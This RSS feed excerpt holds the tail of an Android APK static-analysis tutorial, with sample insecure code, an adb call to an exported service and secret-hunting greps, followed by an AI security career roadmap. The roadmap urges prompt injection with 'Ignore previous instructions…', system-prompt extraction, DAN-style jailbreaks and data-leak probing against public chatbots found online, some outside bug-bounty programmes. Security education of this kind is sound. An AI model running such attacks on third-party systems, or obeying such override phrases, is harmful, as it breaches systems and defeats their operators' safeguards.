vulnerability 3: Disabled SSL verification<br>private OkHttpClient getUnsafeClient() {<br>    TrustManager[] trustAll = new TrustManager[]{<br>        new X509TrustManager() {<br>            public void checkServerTrusted(X509Certificate[] chain, String auth) {}<br>            // ❌ CRITICAL: Accepts any certificate<br>        }<br>    };<br>    // ...<br>}</pre><pre>// Found vulnerability 4: Hardcoded API endpoint<br>private static final String BASE_URL = &quot;http://api.bank.com&quot;;  // ❌ HTTP not HTTPS</pre><p><strong>Step 4: Check for Secrets</strong></p><pre># Search in JADX<br>Ctrl+Shift+F: &quot;api_key&quot;</pre><pre># Found in BuildConfig.java:<br>public static final String API_KEY = &quot;pk_live_51Hxxx&quot;;  // ❌ CRITICAL</pre><p><strong>Step 5: Test Component Security</strong></p><pre># Check exported PaymentService<br>adb shell am startservice -n com.bank.app/.PaymentService<br># ❌ Service starts without authentication!<br>```</pre><pre>---</pre><pre>## Part 7: Advanced JADX Features</pre><pre>### 1. Code Navigation<br>```<br>Ctrl + Click on class/method → Jump to definition<br>Ctrl + F12 → Show all methods in current class<br>Ctrl + N → Find class by name<br>Ctrl + Shift + F → Global search<br>Alt + F7 → Find usages of method/class</pre><h3>2. Analyzing Obfuscated Code</h3><p>If you see code like this</p><pre>public class a {<br>    private String b;<br>    <br>    public void c() {<br>        this.b = d.a(e.b());<br>    }<br>}</pre><p><strong>Deobfuscation techniques:</strong></p><ol><li><strong>Rename meaningfully</strong> (right-click → Rename)</li></ol><pre>public class UserManager {  // Was: class a<br>    private String userId;  // Was: String b<br>    <br>    public void initialize() {  // Was: void c()<br>        this.userId = CryptoUtil.decrypt(ApiClient.getToken());<br>    }<br>}</pre><ol><li><strong>Add comments</strong> (right-click → Add comment)</li><li><strong>Look at string resources</strong> to understand functionality</li></ol><pre>// Even if method is obfuscated, strings reveal purpose<br>Log.d(&quot;UserManager&quot;, &quot;Initializing user session&quot;);</pre><h3>3. Export and Document Findings</h3><pre># Export decompiled code<br>File → Save All (in JADX-GUI)</pre><pre># Generate report<br># Document each vulnerability with:<br># 1. Location (Class + method + line number)<br># 2. Vulnerability type<br># 3. Code snippet<br># 4. Impact<br># 5. Remediation</pre><h3>Part 8: Automated Static Analysis</h3><h3>Using MobSF for Quick Assessment</h3><pre># Start MobSF<br>cd Mobile-Security-Framework-MobSF<br>./run.sh</pre><pre># Upload APK through web interface (http://127.0.0.1:8000)<br># MobSF will automatically:<br># - Decompile APK<br># - Extract manifest<br># - Find hardcoded secrets<br># - Check for common vulnerabilities<br># - Generate PDF report</pre><pre>Better Run on Docker not locally it always creates issue. go to mobsf site for docker installation</pre><p><strong>MobSF checks:</strong></p><ul><li>Insecure permissions</li><li>Hardcoded secrets</li><li>Weak crypto</li><li>Insecure network configs</li><li>Code vulnerabilities</li><li>File system issues</li></ul><h3>Using Custom Scripts</h3><pre># Find all API keys<br>grep -r &quot;api&quot; jadx_output/ | grep -i &quot;key&quot;</pre><pre># Find all URLs<br>grep -r &quot;http&quot; jadx_output/ | sort -u</pre><pre># Find sensitive data storage<br>grep -r &quot;SharedPreferences&quot; jadx_output/</pre><pre># Find crypto usage<br>grep -r &quot;Cipher\|encrypt\|decrypt&quot; jadx_output/</pre><pre># Find WebView usage<br>grep -r &quot;WebView\|loadUrl&quot; jadx_output/</pre><h3>Part 9: Complete Analysis Checklist</h3><h3>Pre-Analysis</h3><ul><li>Extract APK and decompile with JADX</li><li>Decompile with APKTool for resources</li><li>Check AndroidManifest.xml</li><li>Review strings.xml for secrets</li><li>Check build.gradle for configs</li></ul><h3>Security Analysis</h3><ul><li>Authentication &amp; authorization logic</li><li>Session management</li><li>Network security (SSL/TLS)</li><li>Data storage (SharedPreferences, DB, files)</li><li>Cryptography implementation</li><li>API keys and secrets</li><li>Intent security (exported components)</li><li>WebView security</li><li>Logging and debug info</li><li>Input validation</li><li>Permission usage</li><li>Native library security (.so files)</li></ul><h3>Post-Analysis</h3><ul><li>Document all findings</li><li>Categorize by severity (Critical/High/Medium/Low)</li><li>Create PoC for critical issues</li><li>Generate professional report</li><li>Responsible disclosure (if applicable)</li></ul><h3>Part 10: Common Vulnerability Patterns</h3><h3>Quick Reference Table</h3><p>VulnerabilitySearch KeywordsFiles to CheckHardcoded API Keysapi, key, secretstrings.xml, BuildConfig.java<br>Weak CryptoDES, ECB, RandomCryptoUtil, EncryptionHelperInsecure StorageSharedPreferences, MODE_PRIVATEAll Activity filesSSL IssuesTrustManager, HostnameVerifierApiClient, NetworkManagerSQL InjectionrawQuery, execSQLDatabaseHelper, DAO classesIntent Issuesexported=&quot;true&quot;AndroidManifest.xmlWebView IssuessetJavaScriptEnabled, addJavascriptInterfaceWebViewActivityLogging LeaksLog.d, Log.e, System.outAll files</p><h3>Tools Summary</h3><p><strong>Essential:</strong></p><ul><li>JADX-GUI — Primary decompiler</li><li>APKTool — Resources and manifest</li><li>ADB — Testing on device</li></ul><p><strong>Automated:</strong></p><ul><li>MobSF — Comprehensive scanner</li><li>APKLeaks — Secret finder</li><li>AndroBugs — Vulnerability scanner</li></ul><p><strong>Advanced:</strong></p><ul><li>Frida — Dynamic analysis</li><li>Objection — Runtime mobile exploration</li><li>Burp Suite — Network interception</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a10c5d5d9846" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI/ML Security Engg. Roadmap]]></title>
            <link>https://medium.com/@anandrishav2228/ai-ml-security-engg-roadmap-18ba5a4f69bc?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/18ba5a4f69bc</guid>
            <category><![CDATA[engineering]]></category>
            <category><![CDATA[roadmaps]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[students]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 04:30:45 GMT</pubDate>
            <atom:updated>2025-12-24T04:30:45.049Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZelApwcjGhEtPK0VULNcrg.png" /></figure><p>You know this skill will be in demand very soon , so this is for you guys</p><h3>Month 1: Foundation Building + Quick Wins</h3><h3>Week 1–2: Core ML Understanding</h3><p><strong>Goal: Understand how ML systems work (not build them)</strong></p><p><strong>Daily Schedule (2–3 hours/day):</strong></p><ul><li><strong>Days 1–3:</strong> Watch fast.ai Practical Deep Learning (Lesson 1–2 only)</li><li>Focus: Understanding what neural networks do, not math</li><li>Take notes on: training, inference, models, datasets</li><li><strong>Days 4–7:</strong> Hands-on with pre-trained models</li><li>Install Python, PyTorch, Jupyter</li><li>Download and run a pre-trained image classifier</li><li>Run a text generation model (GPT-2 or similar)</li><li>Exercise: Make the model give wrong outputs (your attacker mindset)</li><li><strong>Days 8–10:</strong> ML Pipeline basics</li><li>Learn: data → training → model → deployment → inference</li><li>Watch: MLOps basics on YouTube (2–3 videos)</li><li>Understand: where vulnerabilities can exist in each stage</li><li><strong>Days 11–14:</strong> LLM Fundamentals</li><li>What are LLMs? How do they work? (high-level only)</li><li>Try ChatGPT, Claude, Gemini — document their behaviors</li><li>Read: How ChatGPT works (simple explanations)</li><li>Try: OpenRouter or Ollama for local LLM testing</li></ul><p><strong>Deliverable:</strong> Blog post “A Pentester’s First Week with AI: Here’s What I Learned”</p><h3>Week 3–4: AI Security Fundamentals + First Attacks</h3><p><strong>Goal: Learn attack surface and execute first successful attack</strong></p><p><strong>Week 3:</strong></p><ul><li><strong>Day 1–2:</strong> Read entire OWASP Top 10 for LLMs thoroughly</li><li>Take detailed notes on each vulnerability</li><li>Map to OWASP Web Top 10 (what’s similar, what’s new)</li><li><strong>Day 3–4:</strong> MITRE ATLAS Framework</li><li>Study attack tactics specific to ML</li><li>Document 5 attack techniques you want to try</li><li><strong>Day 5–7:</strong> Your First Prompt Injection</li><li>Play Gandalf AI (<a href="https://gandalf.lakera.ai/">https://gandalf.lakera.ai/</a>) — beat all levels</li><li>Document every successful injection you use</li><li>Try HackAPrompt challenges</li><li>Take screenshots of successful attacks</li></ul><p><strong>Week 4: First Real Finding</strong></p><ul><li><strong>Day 1–3:</strong> Find vulnerable AI chatbots</li><li>Search ProductHunt, Google for “AI chatbot”</li><li>Find 10 publicly accessible AI applications</li><li>Test for basic prompt injection: “Ignore previous instructions…”</li><li><strong>Day 4–5:</strong> Document your findings</li><li>Create standardized testing methodology</li><li>Screenshot successful attacks</li><li>Write responsible disclosure if you find real vulnerability</li><li><strong>Day 6–7:</strong> Create testing checklist</li><li>Build reusable prompt injection payloads</li><li>Document what works and what doesn’t</li><li>Start GitHub repo with your payloads</li></ul><p><strong>Deliverable:</strong></p><ol><li>GitHub repo: “AI-Security-Testing-Toolkit” with your payloads</li><li>Blog post: “I Found Prompt Injections in 5 AI Chatbots — Here’s How”</li><li>At least 1 responsible disclosure sent (even if it’s acknowledged as known)</li></ol><p><strong>Job Application Action:</strong> Update LinkedIn profile — add “AI/ML Security” to skills and headline</p><h3>Month 2: Building Technical Depth + Portfolio</h3><h3>Week 1–2: Adversarial Machine Learning</h3><p><strong>Goal: Understand and execute model attacks</strong></p><p><strong>Week 1: Theory</strong></p><ul><li><strong>Day 1–2:</strong> Adversarial examples</li><li>Watch: Academic talks on adversarial ML (YouTube)</li><li>Read: Explaining and Harnessing Adversarial Examples (Goodfellow paper — skim)</li><li>Understand: FGSM, PGD attacks (concept level)</li><li><strong>Day 3–5:</strong> Hands-on adversarial attacks</li><li>Install Adversarial Robustness Toolbox (ART)</li><li>Follow ART tutorials: attack image classifiers</li><li>Document: What makes adversarial examples work</li><li><strong>Day 6–7:</strong> Model extraction basics</li><li>Read about model stealing attacks</li><li>Understand: query-based extraction</li><li>Try: Simple extraction on a demo model</li></ul><p><strong>Week 2: Practical Application</strong></p><ul><li><strong>Day 1–3:</strong> Build vulnerable ML app</li><li>Create simple image classifier with Flask/FastAPI</li><li>Deploy locally with Docker</li><li>Document: All potential attack vectors</li><li><strong>Day 4–5:</strong> Attack your own app</li><li>Adversarial examples against it</li><li>Model extraction attempts</li><li>Input validation bypasses</li><li>Screenshot everything</li><li><strong>Day 6–7:</strong> Write comprehensive attack report</li><li>Professional format: Executive Summary, Technical Details, PoC</li><li>Include: Attack vectors, exploitation steps, impact, remediation</li><li>This becomes portfolio piece #1</li></ul><p><strong>Deliverable:</strong></p><ol><li>Portfolio Project #1: “Building and Breaking an ML Application — Full Security Assessment”</li><li>Code published on GitHub with vulnerability examples</li><li>Professional security assessment report (PDF)</li></ol><h3>Week 3–4: LLM Security Deep Dive</h3><p><strong>Goal: Become expert in LLM-specific vulnerabilities</strong></p><p><strong>Week 3: Attack Techniques</strong></p><ul><li><strong>Day 1–2:</strong> Prompt injection mastery</li><li>Study: Direct vs indirect injections</li><li>Practice: Try to extract system prompts from 10+ AI apps</li><li>Document successful techniques</li><li><strong>Day 3–4:</strong> Jailbreaking techniques</li><li>Research current jailbreaks for GPT-4, Claude, Gemini</li><li>Try DAN, AIM, other jailbreak methods</li><li>Understand why they work (or don’t anymore)</li><li><strong>Day 5–7:</strong> Data exfiltration and PII leakage</li><li>Test: Can you make LLMs leak training data?</li><li>Try: Membership inference attacks</li><li>Practice on: various AI apps you find</li></ul><p><strong>Week 4: Defensive Security</strong></p><ul><li><strong>Day 1–3:</strong> Input validation and guardrails</li><li>Study: NeMo Guardrails, Llama Guard</li><li>Implement: Basic input filtering for your LLM app</li><li>Test: Try to bypass your own filters</li><li><strong>Day 4–5:</strong> Output filtering</li><li>Understand: Content moderation techniques</li><li>Implement: Output validation in your test app</li><li>Test: Bypass attempts</li><li><strong>Day 6–7:</strong> Monitoring and detection</li><li>Learn: What to log in LLM systems</li><li>Implement: Basic logging and alerting</li><li>Create: Detection rules for common attacks</li></ul><p><strong>Deliverable:</strong></p><ol><li>Blog Post: “The Complete Guide to LLM Security Testing — Techniques That Actually Work”</li><li>Updated GitHub toolkit with LLM-specific tests</li><li>Portfolio Project #2: “Securing LLM Applications: Implementation Guide with Working Code”</li></ol><p><strong>Job Application Action:</strong> Start applying to AI security startups (even if you feel 60% ready)</p><h3>Month 3: Advanced Skills + Community Building</h3><h3>Week 1–2: Automation and Tooling</h3><p><strong>Goal: Build tools that demonstrate expertise</strong></p><p><strong>Week 1: Automated Testing Framework</strong></p><ul><li><strong>Day 1–3:</strong> Design your testing tool</li><li>Plan: What vulnerabilities to test automatically?</li><li>Decide: CLI tool, web app, or Python library?</li><li>Research: Existing tools (learn from them)</li><li><strong>Day 4–7:</strong> Build MVP</li><li>Create: Automated prompt injection tester</li><li>Features: Multiple payloads, result analysis, reporting</li><li>Make it: Actually useful for your own testing</li></ul><p><strong>Week 2: Tool Refinement</strong></p><ul><li><strong>Day 1–4:</strong> Add features</li><li>Multiple LLM provider support (OpenAI, Anthropic, local)</li><li>Batch testing capabilities</li><li>JSON/CSV output</li><li>Professional CLI interface</li><li><strong>Day 5–7:</strong> Documentation and release</li><li>Write: Comprehensive README</li><li>Add: Usage examples and screenshots</li><li>Create: Demo video (3–5 minutes)</li><li>Publish: To GitHub with proper licensing</li></ul><p><strong>Deliverable:</strong></p><ol><li>Open-source tool with 100+ lines of quality code</li><li>Demo video published on YouTube/LinkedIn</li><li>Blog post announcing the tool with technical details</li><li>Submit to: AI Village Discord, MLSecOps community, Reddit r/netsec</li></ol><h3>Week 3–4: Community Engagement + Networking</h3><p><strong>Goal: Become visible in AI security community</strong></p><p><strong>Week 3: Content Creation</strong></p><ul><li><strong>Day 1–2:</strong> Twitter/X presence</li><li>Create professional account (or rebrand existing)</li><li>Follow: AI security researchers, companies</li><li>Share: Your blog posts, findings, insights</li><li>Engage: Comment thoughtfully on others’ posts</li><li><strong>Day 3–4:</strong> LinkedIn strategy</li><li>Update: Full profile with AI security focus</li><li>Post: Weekly insights on AI security</li><li>Share: Your projects and blog posts</li><li>Connect: Recruiters at AI security companies</li><li><strong>Day 5–7:</strong> YouTube/Content</li><li>Record: Tutorial on your tool</li><li>Create: “How I found X vulnerability” walkthrough</li><li>Publish: Start building video presence</li></ul><p><strong>Week 4: Active Networking</strong></p><ul><li><strong>Day 1–2:</strong> Join communities</li><li>AI Village Slack/Discord</li><li>MLSecOps Slack</li><li>OWASP LLM Top 10 working group</li><li>Local security meetup groups</li><li><strong>Day 3–4:</strong> Contribute to discussions</li><li>Answer questions in communities</li><li>Share your findings and tools</li><li>Help others getting started</li><li><strong>Day 5–7:</strong> Reach out directly</li><li>LinkedIn: Connect with AI security professionals (15–20 people)</li><li>Message template: Mention specific work, ask thoughtful question</li><li>Target: People at companies you want to work for</li><li>Attend: Virtual security conferences/webinars</li></ul><p><strong>Deliverable:</strong></p><ol><li>Active presence on 2–3 platforms</li><li>500+ followers on Twitter or LinkedIn</li><li>Connections with 10+ professionals in target companies</li><li>At least 3 meaningful conversations with people in the field</li></ol><p><strong>Job Application Action:</strong> Apply to 10 more positions, reference your portfolio</p><h3>Month 4–5: Specialization + Real-World Experience</h3><h3>Month 4: Choose Your Path</h3><p><strong>Pick ONE specialization based on interest and market demand:</strong></p><h4>Option A: Cloud AI Security (Highest demand)</h4><p><strong>Week 1–2: AWS AI Services Security</strong></p><ul><li>Get: AWS Free Tier account</li><li>Learn: SageMaker, Bedrock security</li><li>Study: AWS Well-Architected Framework for ML</li><li>Practice: Deploy vulnerable ML workload, secure it</li><li>Get: AWS Security Specialty cert (study + take exam)</li></ul><p><strong>Week 3–4: Multi-cloud AI</strong></p><ul><li>Learn: Azure OpenAI Service, Google Vertex AI</li><li>Understand: Security differences between providers</li><li>Create: Multi-cloud security comparison guide</li><li>Build: Tool to audit cloud ML configurations</li></ul><p><strong>Deliverable:</strong> “Securing AI in Cloud: AWS, Azure, GCP Comparison” (comprehensive guide)</p><h4>Option B: LLM Red Teaming (Most cutting-edge)</h4><p><strong>Week 1–2: Advanced Red Teaming</strong></p><ul><li>Study: Microsoft PyRIT framework deeply</li><li>Learn: Automated red teaming techniques</li><li>Practice: Create custom attack scenarios</li><li>Research: Latest academic papers on LLM attacks</li></ul><p><strong>Week 3–4: Build Red Team Framework</strong></p><ul><li>Create: Custom red teaming methodology</li><li>Build: Automated attack chain tool</li><li>Test: Against multiple LLM providers</li><li>Document: Novel techniques you discover</li></ul><p><strong>Deliverable:</strong> “LLM Red Team Playbook” + custom automation tool</p><h4>Option C: AI Supply Chain Security (Emerging field)</h4><p><strong>Week 1–2: ML Supply Chain Risks</strong></p><ul><li>Study: Model supply chain attacks</li><li>Learn: HuggingFace, model registries security</li><li>Understand: Dependency vulnerabilities in ML</li><li>Research: Real-world incidents</li></ul><p><strong>Week 3–4: Security Scanning</strong></p><ul><li>Build: Tool to scan ML dependencies</li><li>Create: Security checklist for ML supply chain</li><li>Test: Popular open-source models for risks</li><li>Document: Findings and best practices</li></ul><p><strong>Deliverable:</strong> “Securing the AI Supply Chain” guide + scanning tool</p><h3>Month 5: Real-World Application</h3><p><strong>Week 1–2: Bug Bounty / Responsible Disclosure</strong></p><ul><li><strong>Day 1–3:</strong> Research programs</li><li>Find: Companies with AI products accepting reports</li><li>Check: HackerOne, Bugcrowd for AI-related programs</li><li>Target: 5–10 companies with AI features</li><li><strong>Day 4–10:</strong> Intensive testing</li><li>Test: 2–3 hours daily on real targets</li><li>Focus: Your specialized area</li><li>Document: Everything, even if not vulnerable</li><li>Goal: Find at least 1 valid security issue</li><li><strong>Day 11–14:</strong> Professional disclosure</li><li>Write: Detailed vulnerability report</li><li>Include: PoC, impact analysis, remediation steps</li><li>Submit: Following responsible disclosure practices</li><li>Track: Response and acknowledgment</li></ul><p><strong>Week 3–4: Freelance/Contract Work</strong></p><ul><li><strong>Day 1–3:</strong> Set up freelance presence</li><li>Upwork/Freelancer profile: “AI/ML Security Consultant”</li><li>Portfolio: Link all your projects</li><li>Pricing: Start competitive (₹2000–3000/hour or $25–40/hour)</li><li><strong>Day 4–7:</strong> Find first client</li><li>Apply: To 20–30 relevant gigs</li><li>Pitch: Your specialized skills and portfolio</li><li>Offer: Free initial consultation to build trust</li><li><strong>Day 8–14:</strong> Deliver first project</li><li>Execute: Professional security assessment</li><li>Deliver: Comprehensive report</li><li>Request: Testimonial and permission to showcase (anonymized)</li></ul><p><strong>Deliverable:</strong></p><ol><li>At least 1 bug bounty submission (or 3–5 responsible disclosures)</li><li>First freelance client testimonial</li><li>Case study from freelance project (anonymized)</li></ol><p><strong>Job Application Action:</strong> Update portfolio with real-world findings</p><h3>Month 6: Interview Preparation + Intensive Applications</h3><h3>Week 1–2: Technical Interview Prep</h3><p><strong>Week 1: Core Knowledge</strong></p><ul><li><strong>Day 1–2:</strong> ML fundamentals review</li><li>Revisit: Neural networks, training, inference</li><li>Practice: Explaining complex concepts simply</li><li>Prepare: Answers to “How does X work?”</li><li><strong>Day 3–4:</strong> Security concepts</li><li>Review: All OWASP LLM Top 10 deeply</li><li>Prepare: Real-world examples for each</li><li>Practice: Explaining attack vectors</li><li><strong>Day 5–7:</strong> Mock interviews</li><li>Practice: With ChatGPT/Claude as interviewer</li><li>Record: Yourself explaining concepts</li><li>Improve: Based on self-review</li></ul><p><strong>Week 2: Practical Exercise Prep</strong></p><ul><li><strong>Day 1–3:</strong> Common interview scenarios</li><li>“Find vulnerabilities in this LLM application”</li><li>“Design security for an AI system”</li><li>“How would you test this ML model?”</li><li>Practice: Timed exercises (1 hour each)</li><li><strong>Day 4–5:</strong> Coding challenges</li><li>Implement: Security checks for ML systems</li><li>Write: Scripts for automated testing</li><li>Practice: On LeetCode/HackerRank (ML security focus)</li><li><strong>Day 6–7:</strong> Portfolio presentation</li><li>Prepare: 5-minute pitch for each project</li><li>Create: Presentation slides</li><li>Practice: Presenting to camera</li></ul><h3>Week 3–4: Application Blitz</h3><p><strong>Week 3: Job Research and Applications</strong></p><ul><li><strong>Day 1–2:</strong> Target company list</li><li>Research: 50 companies hiring AI security roles</li><li>Categories: Startups (20), Mid-size (15), Enterprise (15)</li><li>Priority: Companies whose products you’ve tested</li><li><strong>Day 3–4:</strong> Resume optimization</li><li>Create: AI security focused resume</li><li>Highlight: Projects, findings, tools you built</li><li>Quantify: “Found X vulnerabilities, built tool with Y users”</li><li>Tailor: 3 versions (red team, engineering, consulting)</li><li><strong>Day 5–7:</strong> Mass application</li><li>Apply: To all 50 companies</li><li>LinkedIn: Direct messages to hiring managers</li><li>Email: Reach out with portfolio</li><li>Track: In spreadsheet (company, date, status, contact)</li></ul><p><strong>Week 4: Direct Outreach</strong></p><ul><li><strong>Day 1–3:</strong> Networking push</li><li>Identify: Security leads at target companies</li><li>Message: 30 people on LinkedIn with personalized notes</li><li>Template: “Hi [Name], I saw your work on [X]. I’ve been specializing in AI security and built [tool/found vulnerabilities in Y]. Would love to connect and learn about opportunities at [Company].”</li><li><strong>Day 4–5:</strong> Recruiter engagement</li><li>Connect: With tech recruiters specializing in security</li><li>Share: Your portfolio proactively</li><li>Ask: For introduction to AI security roles</li><li><strong>Day 6–7:</strong> Follow-ups</li><li>Follow up: On applications from week 3</li><li>Send: Portfolio links to those who showed interest</li><li>Update: Application tracking sheet</li></ul><p><strong>Deliverable:</strong></p><ol><li>50 job applications submitted</li><li>30 direct LinkedIn connections made</li><li>5–10 responses/interview requests</li></ol><p><strong>Goal:</strong> Get first interview scheduled</p><h3>Month 7: Interview Circuit + Continuous Learning</h3><h3>Week 1–2: Active Interviewing</h3><p><strong>Daily Routine:</strong></p><ul><li>Morning: Interview prep (1 hour)</li><li>Afternoon: Take interviews</li><li>Evening: Follow-up emails, prep for next day</li></ul><p><strong>Per Interview:</strong></p><ul><li><strong>Before:</strong> Research company deeply, review their AI products, prepare questions</li><li><strong>During:</strong> Take notes, ask technical questions, showcase portfolio</li><li><strong>After:</strong> Send thank-you email within 24 hours with relevant portfolio link</li></ul><p><strong>Learning from Interviews:</strong></p><ul><li>Document: Every question you couldn’t answer well</li><li>Study: That topic the same evening</li><li>Practice: Explaining it better</li><li>Update: Your prep materials</li></ul><p><strong>Week 1: First Round Interviews</strong></p><ul><li>Expect: 5–10 first-round interviews from your applications</li><li>Focus: Clear communication, enthusiasm, portfolio presentation</li><li>Track: Questions asked, feedback received</li></ul><p><strong>Week 2: Technical Rounds</strong></p><ul><li>Prepare: For hands-on assessments</li><li>Practice: Live coding, security reviews</li><li>Review: Your projects deeply to discuss them</li></ul><h3>Week 3–4: Continued Applications + Skill Gaps</h3><p><strong>Week 3: Address Weaknesses</strong></p><ul><li>Analyze: Interview feedback and questions you struggled with</li><li>Study: Gaps identified (maybe model architecture, specific cloud services)</li><li>Practice: Weak areas intensively</li><li>Update: Portfolio to address gaps</li></ul><p><strong>Week 4: Second Application Wave</strong></p><ul><li>Apply: To 30 more companies</li><li>Focus: Companies where you now have referrals/connections</li><li>Target: Roles slightly above what you initially applied for</li><li>Leverage: Interview experience to improve applications</li></ul><p><strong>Continuous Actions:</strong></p><ul><li>Blog: Write about interview experiences (without naming companies)</li><li>Network: Attend virtual conferences, meetups</li><li>Learn: New vulnerabilities or techniques you hear about</li><li>Contribute: To open-source AI security projects</li></ul><p><strong>Goal:</strong> Have 2–3 final round interviews or offers in pipeline</p><h3>Month 8: Advanced Projects + Offer Negotiation</h3><h3>Week 1–2: Standout Project</h3><p><strong>Goal: Create impressive capstone project</strong></p><p><strong>Project Ideas:</strong></p><ol><li><strong>Comprehensive AI Security Scanner</strong></li></ol><ul><li>Scans: LLM apps for all OWASP LLM Top 10</li><li>Features: API testing, prompt injection detection, monitoring</li><li>Output: Professional PDF reports</li><li>Package: As SaaS tool or open-source</li></ul><ol><li><strong>AI Red Team Platform</strong></li></ol><ul><li>Automated: Attack scenario generation</li><li>Tests: Multiple LLM providers</li><li>Tracks: Success rates, generates reports</li><li>UI: Web dashboard for results</li></ul><ol><li><strong>ML Supply Chain Auditor</strong></li></ol><ul><li>Scans: ML dependencies, model files</li><li>Checks: Known vulnerabilities, malicious code</li><li>Integration: With CI/CD pipelines</li><li>Output: Security scorecard</li></ul><p><strong>Week 1: Development</strong></p><ul><li><strong>Day 1–2:</strong> Plan architecture and features</li><li><strong>Day 3–7:</strong> Core functionality development (8–10 hours)</li></ul><p><strong>Week 2: Polish and Launch</strong></p><ul><li><strong>Day 1–3:</strong> UI/UX, documentation, testing</li><li><strong>Day 4–5:</strong> Create demo video, write announcement blog</li><li><strong>Day 6–7:</strong> Launch on Product Hunt, HackerNews, Reddit</li><li>Post: In relevant subreddits (r/netsec, r/MachineLearning)</li><li>Share: In all communities you’re part of</li><li>Email: To your network</li></ul><p><strong>Deliverable:</strong> High-quality tool with 200+ GitHub stars goal</p><h3>Week 3–4: Offer Stage</h3><p><strong>Week 3: Managing Multiple Offers</strong></p><p><strong>If you have offers:</strong></p><ul><li>Research: Company thoroughly (funding, culture, team size)</li><li>Compare: Salary, equity, learning opportunities, team</li><li>Negotiate: Don’t accept first offer</li><li>Research: Market rates for AI security (₹12–25 LPA or $60k-120k depending on company size)</li><li>Ask for: 15–20% more than initial offer</li><li>Leverage: Other offers or interview pipelines</li></ul><p><strong>If no offers yet:</strong></p><ul><li>Analyze: What’s missing? (skills, presentation, targeting wrong roles?)</li><li>Pivot: Adjust strategy based on interview feedback</li><li>Consider: Contract/freelance while continuing search</li><li>Expand: Apply to related roles (ML engineer with security focus, cloud security with AI)</li></ul><p><strong>Week 4: Decision and Transition</strong></p><p><strong>Accepting offer:</strong></p><ul><li>Negotiate: Start date to give current employer notice</li><li>Request: Offer letter in writing with all details</li><li>Clarify: Team structure, projects, growth path</li><li>Prepare: For transition</li></ul><p><strong>If still searching:</strong></p><ul><li>Don’t panic: AI security hiring is active but selective</li><li>Strengthen: Weakest areas identified in interviews</li><li>Expand: To consulting or building your own practice</li><li>Network: Request informational interviews</li></ul><h3>Month 9: Final Push + Career Launch</h3><h3>Week 1–2: If Employed — Onboarding Strong</h3><p><strong>Week 1: First Impression</strong></p><ul><li>Learn: Codebase, security practices, tools</li><li>Meet: Team members, ask questions</li><li>Understand: Current challenges and priorities</li><li>Contribute: Small wins early</li></ul><p><strong>Week 2: Add Value</strong></p><ul><li>Identify: Quick security improvements</li><li>Propose: Security initiatives based on your research</li><li>Document: Learnings and processes</li><li>Build: Relationships with team</li></ul><h3>Week 1–2: If Still Searching — Advanced Strategy</h3><p><strong>Week 1: Alternative Paths</strong></p><ul><li><strong>Option 1: Start Consulting Practice</strong></li><li>Register: As freelancer or company</li><li>Create: Professional website</li><li>Offer: AI security assessments to startups</li><li>Price: ₹50,000–2,00,000 per assessment ($500–2000)</li><li><strong>Option 2: Join as Contractor</strong></li><li>Target: Companies needing immediate help</li><li>Propose: 3-month contract with possibility of full-time</li><li>Leverage: Your portfolio to negotiate rate</li><li><strong>Option 3: Related Role with Growth Path</strong></li><li>Accept: Security engineer role at AI company</li><li>Negotiate: Ability to work on AI security projects</li><li>Plan: Internal transfer after proving value</li></ul><p><strong>Week 2: Content Creator Path (Parallel career building)</strong></p><ul><li>Create: YouTube channel on AI security</li><li>Publish: Weekly tutorials and findings</li><li>Build: Audience and consulting funnel</li><li>Monetize: Through consulting, courses, sponsorships</li></ul><h3>Week 3–4: Long-term Career Building</h3><p><strong>Regardless of employment status:</strong></p><p><strong>Week 3: Establish Authority</strong></p><ul><li>Publish: Research findings or paper</li><li>Submit: Talk proposals to conferences (BSides, local meetups)</li><li>Contribute: To major open-source AI security projects</li><li>Build: Personal brand as AI security expert</li></ul><p><strong>Week 4: Future Planning</strong></p><ul><li>Map: Next 12 months of learning</li><li>Identify: Certifications worth pursuing (OSCP + AI, AWS Security)</li><li>Plan: Conference attendance (DEF CON AI Village)</li><li>Set goals: Salary targets, technical expertise, career position</li></ul><h3>Success Metrics by Month</h3><h3>Month 1–3 (Foundation)</h3><ul><li>✅ 3–5 blog posts published</li><li>✅ 1–2 tools on GitHub with 50+ stars</li><li>✅ 2–3 responsible disclosures sent</li><li>✅ 500+ social media followers</li><li>✅ Active in 3+ communities</li></ul><h3>Month 4–6 (Specialization)</h3><ul><li>✅ Deep expertise in chosen specialization</li><li>✅ 1 bug bounty or paid finding</li><li>✅ 1–2 freelance clients</li><li>✅ 50+ job applications</li><li>✅ 10+ interviews</li></ul><h3>Month 7–9 (Career Launch)</h3><ul><li>✅ 1+ capstone project with significant visibility</li><li>✅ 2–3 offer discussions</li><li>✅ Job offer accepted OR consulting practice established</li><li>✅ Speaking engagement or publication</li><li>✅ Recognized name in AI security community</li></ul><h3>Weekly Time Commitment</h3><p><strong>Months 1–3:</strong> 15–20 hours/week (2–3 hours/day + weekend projects) <strong>Months 4–6:</strong> 20–25 hours/week (more intensive) <strong>Months 7–9:</strong> 25–30 hours/week (interviewing + learning)</p><p><strong>If currently employed:</strong> Adjust timeline to 12–15 months</p><h3>Budget Requirements</h3><h3>Essential (₹20,000–30,000 / $250–400 total)</h3><ul><li>Cloud credits: ₹5,000 ($60) — AWS, Azure, GCP free tiers + paid</li><li>API credits: ₹8,000 ($100) — OpenAI, Anthropic for testing</li><li>Domain + hosting: ₹2,000 ($25) — Personal website/blog</li><li>Courses: ₹5,000 ($60) — Udemy, Coursera when needed</li></ul><h3>Optional (₹40,000–60,000 / $500–800)</h3><ul><li>Certifications: ₹30,000 ($400) — AWS Security Specialty</li><li>Conference: ₹20,000 ($250) — DEF CON or BSides travel</li><li>Premium tools: ₹10,000 ($150) — Burp Suite Pro, etc.</li></ul><p><strong>Money-saving tips:</strong></p><ul><li>Use free tiers extensively</li><li>Apply for conference scholarships</li><li>Leverage free resources (YouTube, blogs, open-source)</li><li>Many companies reimburse certification costs</li></ul><h3>Red Flags to Avoid</h3><p>❌ <strong>Tutorial 